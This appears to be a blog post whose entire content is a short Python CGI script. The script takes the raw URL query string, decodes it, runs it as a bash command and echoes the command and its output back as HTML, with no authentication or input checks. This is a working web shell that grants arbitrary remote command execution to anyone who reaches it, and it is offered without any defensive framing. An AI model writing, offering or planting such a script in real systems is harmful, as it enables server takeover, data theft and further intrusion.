#!/usr/local/bin/python import cgitb, os, urllib, subprocess cgitb.enable() str_command = urllib.unquote(os.environ['QUERY_STRING']) p = subprocess.Popen(['/usr/local/bin/bash', '-c', str_command],\ stdout = subprocess.PIPE, stderr = subprocess.STDOUT) output = urllib.unquote(p.stdout.read()) print """Content-Type: text/html\n <html><body> <pre> $ %s %s </pre> </body></html>""" % (str_command, output)
No comments:
Post a Comment